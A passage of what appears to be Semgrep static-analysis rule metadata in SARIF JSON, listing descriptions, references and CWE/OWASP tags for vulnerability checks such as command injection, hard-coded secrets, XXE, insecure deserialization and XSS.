consider using 'shlex.escape()'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.security.dangerous-asyncio-shell.dangerous-asyncio-shell)\n - [https://docs.python.org/3/library/asyncio-subprocess.html](https://docs.python.org/3/library/asyncio-subprocess.html)\n - [https://docs.python.org/3/library/shlex.html](https://docs.python.org/3/library/shlex.html)\n","text":"Detected asyncio subprocess function with argument tainted by `event` object. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'."},"helpUri":"https://semgrep.dev/r/python.aws-lambda.security.dangerous-asyncio-shell.dangerous-asyncio-shell","id":"python.aws-lambda.security.dangerous-asyncio-shell.dangerous-asyncio-shell","name":"python.aws-lambda.security.dangerous-asyncio-shell.dangerous-asyncio-shell","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.security.dangerous-asyncio-shell.dangerous-asyncio-shell"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.lang.hardcoded.headers.hardcoded-basic-token.hardcoded-basic-token)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/javascript.lang.hardcoded.headers.hardcoded-basic-token.hardcoded-basic-token","id":"javascript.lang.hardcoded.headers.hardcoded-basic-token.hardcoded-basic-token","name":"javascript.lang.hardcoded.headers.hardcoded-basic-token.hardcoded-basic-token","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.lang.hardcoded.headers.hardcoded-basic-token.hardcoded-basic-token"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Use of 'ondoctype' in 'sax' library detected. By default, 'sax' won't do anything with custom DTD entity definitions. If you're implementing a custom DTD entity definition, be sure not to introduce XML External Entity (XXE) vulnerabilities, or be absolutely sure that external entities received from a trusted source while processing XML."},"help":{"markdown":"Use of 'ondoctype' in 'sax' library detected. By default, 'sax' won't do anything with custom DTD entity definitions. If you're implementing a custom DTD entity definition, be sure not to introduce XML External Entity (XXE) vulnerabilities, or be absolutely sure that external entities received from a trusted source while processing XML.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.sax.security.audit.sax-xxe.sax-xxe)\n - [https://github.com/Leonidas-from-XIV/node-xml2js/issues/415](https://github.com/Leonidas-from-XIV/node-xml2js/issues/415)\n - [https://github.com/isaacs/sax-js](https://github.com/isaacs/sax-js)\n","text":"Use of 'ondoctype' in 'sax' library detected. By default, 'sax' won't do anything with custom DTD entity definitions. If you're implementing a custom DTD entity definition, be sure not to introduce XML External Entity (XXE) vulnerabilities, or be absolutely sure that external entities received from a trusted source while processing XML."},"helpUri":"https://semgrep.dev/r/javascript.sax.security.audit.sax-xxe.sax-xxe","id":"javascript.sax.security.audit.sax-xxe.sax-xxe","name":"javascript.sax.security.audit.sax-xxe.sax-xxe","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","LOW CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.sax.security.audit.sax-xxe.sax-xxe"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Validating certificates based on subject name is bad practice. Use the X509Certificate2.Verify() method instead."},"help":{"markdown":"Validating certificates based on subject name is bad practice. Use the X509Certificate2.Verify() method instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.cryptography.x509-subject-name-validation.X509-subject-name-validation)\n - [https://docs.microsoft.com/en-us/dotnet/api/system.identitymodel.tokens.issuernameregistry?view=netframework-4.8](https://docs.microsoft.com/en-us/dotnet/api/system.identitymodel.tokens.issuernameregistry?view=netframework-4.8)\n","text":"Validating certificates based on subject name is bad practice. Use the X509Certificate2.Verify() method instead."},"helpUri":"https://semgrep.dev/r/csharp.lang.security.cryptography.x509-subject-name-validation.X509-subject-name-validation","id":"csharp.lang.security.cryptography.x509-subject-name-validation.X509-subject-name-validation","name":"csharp.lang.security.cryptography.x509-subject-name-validation.X509-subject-name-validation","properties":{"precision":"very-high","tags":["CWE-295: Improper Certificate Validation","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.cryptography.x509-subject-name-validation.X509-subject-name-validation"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"When running containers in Kubernetes, it's important to ensure that they  are properly secured to prevent privilege escalation attacks.  One potential vulnerability is when a container is allowed to run  applications as the root user, which could allow an attacker to gain  access to sensitive resources. To mitigate this risk, it's recommended to  add a `securityContext` to the container, with the parameter `runAsNonRoot`  set to `true`. This will ensure that the container runs as a non-root user,  limiting the damage that could be caused by any potential attacks. By  adding a `securityContext` to the container in your Kubernetes pod, you can  help to ensure that your containerized applications are more secure and  less vulnerable to privilege escalation attacks."},"help":{"markdown":"When running containers in Kubernetes, it's important to ensure that they  are properly secured to prevent privilege escalation attacks.  One potential vulnerability is when a container is allowed to run  applications as the root user, which could allow an attacker to gain  access to sensitive resources. To mitigate this risk, it's recommended to  add a `securityContext` to the container, with the parameter `runAsNonRoot`  set to `true`. This will ensure that the container runs as a non-root user,  limiting the damage that could be caused by any potential attacks. By  adding a `securityContext` to the container in your Kubernetes pod, you can  help to ensure that your containerized applications are more secure and  less vulnerable to privilege escalation attacks.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/yaml.kubernetes.security.run-as-non-root.run-as-non-root)\n - [https://kubernetes.io/blog/2016/08/security-best-practices-kubernetes-deployment/](https://kubernetes.io/blog/2016/08/security-best-practices-kubernetes-deployment/)\n - [https://kubernetes.io/docs/concepts/policy/pod-security-policy/](https://kubernetes.io/docs/concepts/policy/pod-security-policy/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Docker_Security_Cheat_Sheet.html#rule-2-set-a-user](https://cheatsheetseries.owasp.org/cheatsheets/Docker_Security_Cheat_Sheet.html#rule-2-set-a-user)\n","text":"When running containers in Kubernetes, it's important to ensure that they  are properly secured to prevent privilege escalation attacks.  One potential vulnerability is when a container is allowed to run  applications as the root user, which could allow an attacker to gain  access to sensitive resources. To mitigate this risk, it's recommended to  add a `securityContext` to the container, with the parameter `runAsNonRoot`  set to `true`. This will ensure that the container runs as a non-root user,  limiting the damage that could be caused by any potential attacks. By  adding a `securityContext` to the container in your Kubernetes pod, you can  help to ensure that your containerized applications are more secure and  less vulnerable to privilege escalation attacks."},"helpUri":"https://semgrep.dev/r/yaml.kubernetes.security.run-as-non-root.run-as-non-root","id":"yaml.kubernetes.security.run-as-non-root.run-as-non-root","name":"yaml.kubernetes.security.run-as-non-root.run-as-non-root","properties":{"precision":"very-high","tags":["CWE-250: Execution with Unnecessary Privileges","LOW CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","OWASP-A06:2017 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: yaml.kubernetes.security.run-as-non-root.run-as-non-root"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. Using `pickle` for object deserialization can lead to insecure deserialization vulnerabilities. The `numpy.load()` function allows `pickle` for object deserialization. This behaviour is turned off by default in version 1.16.3. If the usage of `pickle` was intentionally allowed, then make sure you load data only from trusted sources. If it was not intentional, don't explicitly set `allow_pickle` to `True`, as the numpy library is now otherwise secure against these types of attacks."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. Using `pickle` for object deserialization can lead to insecure deserialization vulnerabilities. The `numpy.load()` function allows `pickle` for object deserialization. This behaviour is turned off by default in version 1.16.3. If the usage of `pickle` was intentionally allowed, then make sure you load data only from trusted sources. If it was not intentional, don't explicitly set `allow_pickle` to `True`, as the numpy library is now otherwise secure against these types of attacks.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.deserialization.tainted-numpy-pickle-flask.tainted-numpy-pickle-flask)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://docs.python.org/3/library/marshal.html](https://docs.python.org/3/library/marshal.html)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://numpy.org/doc/stable/reference/generated/numpy.load.html](https://numpy.org/doc/stable/reference/generated/numpy.load.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://redfoxsec.com/blog/insecure-deserialization-in-python/](https://redfoxsec.com/blog/insecure-deserialization-in-python/)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. Using `pickle` for object deserialization can lead to insecure deserialization vulnerabilities. The `numpy.load()` function allows `pickle` for object deserialization. This behaviour is turned off by default in version 1.16.3. If the usage of `pickle` was intentionally allowed, then make sure you load data only from trusted sources. If it was not intentional, don't explicitly set `allow_pickle` to `True`, as the numpy library is now otherwise secure against these types of attacks."},"helpUri":"https://semgrep.dev/r/python.flask.deserialization.tainted-numpy-pickle-flask.tainted-numpy-pickle-flask","id":"python.flask.deserialization.tainted-numpy-pickle-flask.tainted-numpy-pickle-flask","name":"python.flask.deserialization.tainted-numpy-pickle-flask.tainted-numpy-pickle-flask","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.deserialization.tainted-numpy-pickle-flask.tainted-numpy-pickle-flask"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate URLs and their protocol before using them in your codebase."},"help":{"markdown":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate URLs and their protocol before using them in your codebase.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/typescript.nextjs.react-nextjs-router-create-element-href.react-nextjs-router-create-element-href)\n - [https://github.com/segmentio/ui-box/blob/master/src/utils/safeHref.ts](https://github.com/segmentio/ui-box/blob/master/src/utils/safeHref.ts)\n","text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate URLs and their protocol before using them in your codebase."},"helpUri":"https://semgrep.dev/r/typescript.nextjs.react-nextjs-router-create-element-href.react-nextjs-router-create-element-href","id":"typescript.nextjs.react-nextjs-router-create-element-href.react-nextjs-router-create-element-href","name":"typescript.nextjs.react-nextjs-router-create-element-href.react-nextjs-router-create-element-href","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: typescript.nextjs.react-nextjs-router-create-element-href.react-nextjs-router-create-element-href"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Found usage of the `$FLAVOR` library, which is vulnerable to attacks such as XML external entity (XXE) attacks"},"help":{"markdown":"Found usage of the `$FLAVOR` library, which is vulnerable to attacks such as XML external entity (XXE) attacks\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/trailofbits.python.lxml-in-pandas.lxml-in-pandas)\n - [https://lxml.de/FAQ.html](https://lxml.de/FAQ.html)\n","text":"Found usage of the `$FLAVOR` library, which is vulnerable to attacks such as XML external entity (XXE) attacks"},"helpUri":"https://semgrep.dev/r/trailofbits.python.lxml-in-pandas.lxml-in-pandas","id":"trailofbits.python.lxml-in-pandas.lxml-in-pandas","name":"trailofbits.python.lxml-in-pandas.lxml-in-pandas","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: trailofbits.python.lxml-in-pandas.lxml-in-pandas"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for disabling of TLS/SSL certificate verification. This should only be used for debugging purposes because it leads to vulnerability to MTM attacks."},"help":{"markdown":"Checks for disabling of TLS/SSL certificate verification. This should only be used for debugging purposes because it leads to vulnerability to MTM attacks.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.go-stdlib.bypass-tls-verification.bypass-tls-verification)\n - [https://stackoverflow.com/questions/12122159/how-to-do-a-https-request-with-bad-certificate](https://stackoverflow.com/questions/12122159/how-to-do-a-https-request-with-bad-certificate)\n","text":"Checks for disabling of TLS/SSL certificate verification. This should only be used for debugging purposes because it leads to vulnerability to MTM attacks."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.go-stdlib.bypass-tls-verification.bypass-tls-verification","id":"problem-based-packs.insecure-transport.go-stdlib.bypass-tls-verification.bypass-tls-verification","name":"problem-based-packs.insecure-transport.go-stdlib.bypass-tls-verification.bypass-tls-verification","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.go-stdlib.bypass-tls-verification.bypass-tls-verification"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected non-static command inside Exec. Audit the input to 'syscall.Exec'. If unverified user data can reach this call site, this is a code injection vulnerability. A malicious actor can inject a malicious script to execute arbitrary code."},"help":{"markdown":"Detected non-static command inside Exec. Audit the input to 'syscall.Exec'. If unverified user data can reach this call site, this is a code injection vulnerability. A malicious actor can inject a malicious script to execute arbitrary code.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.dangerous-syscall-exec.dangerous-syscall-exec)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected non-static command inside Exec. Audit the input to 'syscall.Exec'. If unverified user data can reach this call site, this is a code injection vulnerability. A malicious actor can inject a malicious script to execute arbitrary code."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.dangerous-syscall-exec.dangerous-syscall-exec","id":"go.lang.security.audit.dangerous-syscall-exec.dangerous-syscall-exec","name":"go.lang.security.audit.dangerous-syscall-exec.dangerous-syscall-exec","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.dangerous-syscall-exec.dangerous-syscall-exec"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Depending on the context, user control data in `Object.assign` can cause web response to include data that it should not have or can lead to a mass assignment vulnerability."},"help":{"markdown":"Depending on the context, user control data in `Object.assign` can cause web response to include data that it should not have or can lead to a mass assignment vulnerability.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.express-data-exfiltration.express-data-exfiltration)\n - [https://en.wikipedia.org/wiki/Mass_assignment_vulnerability](https://en.wikipedia.org/wiki/Mass_assignment_vulnerability)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Mass_Assignment_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Mass_Assignment_Cheat_Sheet.html)\n","text":"Depending on the context, user control data in `Object.assign` can cause web response to include data that it should not have or can lead to a mass assignment vulnerability."},"helpUri":"https://semgrep.dev/r/javascript.express.security.express-data-exfiltration.express-data-exfiltration","id":"javascript.express.security.express-data-exfiltration.express-data-exfiltration","name":"javascript.express.security.express-data-exfiltration.express-data-exfiltration","properties":{"precision":"very-high","tags":["CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes","LOW CONFIDENCE","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.express-data-exfiltration.express-data-exfiltration"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"When working with web applications that involve rendering user-generated  content, it's important to properly escape any HTML content to prevent  Cross-Site Scripting (XSS) attacks. In Go, the `text/template` package does  not automatically escape HTML content, which can leave your application  vulnerable to these types of attacks. To mitigate this risk, it's  recommended to use the `html/template` package instead, which provides  built-in functionality for HTML escaping. By using `html/template` to render  your HTML content, you can help to ensure that your web application is more  secure and less susceptible to XSS vulnerabilities."},"help":{"markdown":"When working with web applications that involve rendering user-generated  content, it's important to properly escape any HTML content to prevent  Cross-Site Scripting (XSS) attacks. In Go, the `text/template` package does  not automatically escape HTML content, which can leave your application  vulnerable to these types of attacks. To mitigate this risk, it's  recommended to use the `html/template` package instead, which provides  built-in functionality for HTML escaping. By using `html/template` to render  your HTML content, you can help to ensure that your web application is more  secure and less susceptible to XSS vulnerabilities.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.xss.import-text-template.import-text-template)\n - [https://www.veracode.com/blog/secure-development/use-golang-these-mistakes-could-compromise-your-apps-security](https://www.veracode.com/blog/secure-development/use-golang-these-mistakes-could-compromise-your-apps-security)\n","text":"When working with web applications that involve rendering user-generated  content, it's important to properly escape any HTML content to prevent  Cross-Site Scripting (XSS) attacks. In Go, the `text/template` package does  not automatically escape HTML content, which can leave your application  vulnerable to these types of attacks. To mitigate this risk, it's  recommended to use the `html/template` package instead, which provides  built-in functionality for HTML escaping. By using `html/template` to render  your HTML content, you can help to ensure that your web application is more  secure and less susceptible to XSS vulnerabilities."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.xss.import-text-template.import-text-template","id":"go.lang.security.audit.xss.import-text-template.import-text-template","name":"go.lang.security.audit.xss.import-text-template.import-text-template","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.xss.import-text-template.import-text-template"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.lang.security.properties.properties-hardcoded-secret.properties-hardcoded-secret)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/kotlin.lang.security.properties.properties-hardcoded-secret.properties-hardcoded-secret","id":"kotlin.lang.security.properties.properties-hardcoded-secret.properties-hardcoded-secret","name":"kotlin.lang.security.properties.properties-hardcoded-secret.properties-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.lang.security.properties.properties-hardcoded-secret.properties-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Found an insecure gRPC server without 'grpc.Creds()' or options with credentials. This allows for a connection without encryption to this server. A malicious attacker could tamper with the gRPC message, which could compromise the machine. Include credentials derived from an SSL certificate in order to create a secure gRPC connection. You can create credentials using 'credentials.NewServerTLSFromFile(\"cert.pem\", \"cert.key\")'."},"help":{"markdown":"Found an insecure gRPC server without 'grpc.Creds()' or options with credentials. This allows for a connection without encryption to this server. A malicious attacker could tamper with the gRPC message, which could compromise the machine. Include credentials derived from an SSL certificate in order to create a secure gRPC connection. You can create credentials using 'credentials.NewServerTLSFromFile(\"cert.pem\", \"cert.key\")'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.grpc.security.grpc-server-insecure-connection.grpc-server-insecure-connection)\n - [https://blog.gopheracademy.com/advent-2019/go-grps-and-tls/#connection-without-encryption](https://blog.gopheracademy.com/advent-2019/go-grps-and-tls/#connection-without-encryption)\n","text":"Found an insecure gRPC server without 'grpc.Creds()' or options with credentials. This allows for a connection without encryption to this server. A malicious attacker could tamper with the gRPC message, which could compromise the machine. Include credentials derived from an SSL certificate in order to create a secure gRPC connection. You can create credentials using 'credentials.NewServerTLSFromFile(\"cert.pem\", \"cert.key\")'."},"helpUri":"https://semgrep.dev/r/go.grpc.security.grpc-server-insecure-connection.grpc-server-insecure-connection","id":"go.grpc.security.grpc-server-insecure-connection.grpc-server-insecure-connection","name":"go.grpc.security.grpc-server-insecure-connection.grpc-server-insecure-connection","properties":{"precision":"very-high","tags":["CWE-300: Channel Accessible by Non-Endpoint","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: go.grpc.security.grpc-server-insecure-connection.grpc-server-insecure-connection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The AWS Athena Workgroup is unencrypted. Encryption protects query results in your workgroup. To enable, add: `encryption_configuration { encryption_option = \"SSE_KMS\" kms_key_arn =  aws_kms_key.example.arn }` within `result_configuration { }` in your resource block,  where `encryption_option` is your chosen encryption method and `kms_key_arn`  is your KMS key ARN."},"help":{"markdown":"The AWS Athena Workgroup is unencrypted. Encryption protects query results in your workgroup. To enable, add: `encryption_configuration { encryption_option = \"SSE_KMS\" kms_key_arn =  aws_kms_key.example.arn }` within `result_configuration { }` in your resource block,  where `encryption_option` is your chosen encryption method and `kms_key_arn`  is your KMS key ARN.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.missing-athena-workgroup-encryption.missing-athena-workgroup-encryption)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"The AWS Athena Workgroup is unencrypted. Encryption protects query results in your workgroup. To enable, add: `encryption_configuration { encryption_option = \"SSE_KMS\" kms_key_arn =  aws_kms_key.example.arn }` within `result_configuration { }` in your resource block,  where `encryption_option` is your chosen encryption method and `kms_key_arn`  is your KMS key ARN."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.missing-athena-workgroup-encryption.missing-athena-workgroup-encryption","id":"terraform.aws.security.missing-athena-workgroup-encryption.missing-athena-workgroup-encryption","name":"terraform.aws.security.missing-athena-workgroup-encryption.missing-athena-workgroup-encryption","properties":{"precision":"very-high","tags":["CWE-320: CWE CATEGORY: Key Management Errors","LOW CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.missing-athena-workgroup-encryption.missing-athena-workgroup-encryption"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"https://find-sec-bugs.github.io/bugs.htm#PERMISSIVE_CORS Permissive CORS policy will allow a malicious application to communicate with the victim application in an inappropriate way, leading to spoofing, data theft, relay and other attacks."},"help":{"markdown":"https://find-sec-bugs.github.io/bugs.htm#PERMISSIVE_CORS Permissive CORS policy will allow a malicious application to communicate with the victim application in an inappropriate way, leading to spoofing, data theft, relay and other attacks.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.permissive-cors.permissive-cors)\n - [https://owasp.org/Top10/A04_2021-Insecure_Design](https://owasp.org/Top10/A04_2021-Insecure_Design)\n","text":"https://find-sec-bugs.github.io/bugs.htm#PERMISSIVE_CORS Permissive CORS policy will allow a malicious application to communicate with the victim application in an inappropriate way, leading to spoofing, data theft, relay and other attacks."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.permissive-cors.permissive-cors","id":"java.lang.security.audit.permissive-cors.permissive-cors","name":"java.lang.security.audit.permissive-cors.permissive-cors","properties":{"precision":"very-high","tags":["CWE-183: Permissive List of Allowed Inputs","LOW CONFIDENCE","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.permissive-cors.permissive-cors"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found data going from url query parameters into formatted data written to ResponseWriter. This could be XSS and should not be done. If you must do this, ensure your data is sanitized or escaped."},"help":{"markdown":"Found data going from url query parameters into formatted data written to ResponseWriter. This could be XSS and should not be done. If you must do this, ensure your data is sanitized or escaped.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.net.wip-xss-using-responsewriter-and-printf.wip-xss-using-responsewriter-and-printf)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Found data going from url query parameters into formatted data written to ResponseWriter. This could be XSS and should not be done. If you must do this, ensure your data is sanitized or escaped."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.net.wip-xss-using-responsewriter-and-printf.wip-xss-using-responsewriter-and-printf","id":"go.lang.security.audit.net.wip-xss-using-responsewriter-and-printf.wip-xss-using-responsewriter-and-printf","name":"go.lang.security.audit.net.wip-xss-using-responsewriter-and-printf.wip-xss-using-responsewriter-and-printf","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.net.wip-xss-using-responsewriter-and-printf.wip-xss-using-responsewriter-and-printf"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected template variable interpolation in an HTML tag. This is potentially vulnerable to cross-site scripting (XSS) attacks because a malicious actor has control over HTML but without the need to use escaped characters. Use explicit tags instead."},"help":{"markdown":"Detected template variable interpolation in an HTML tag. This is potentially vulnerable to cross-site scripting (XSS) attacks because a malicious actor has control over HTML but without the need to use escaped characters. Use explicit tags instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.xss.no-interpolation-in-tag.no-interpolation-in-tag)\n - [https://github.com/golang/go/issues/19669](https://github.com/golang/go/issues/19669)\n - [https://blogtitle.github.io/robn-go-security-pearls-cross-site-scripting-xss/](https://blogtitle.github.io/robn-go-security-pearls-cross-site-scripting-xss/)\n","text":"Detected template variable interpolation in an HTML tag. This is potentially vulnerable to cross-site scripting (XSS) attacks because a malicious actor has control over HTML but without the need to use escaped characters. Use explicit tags 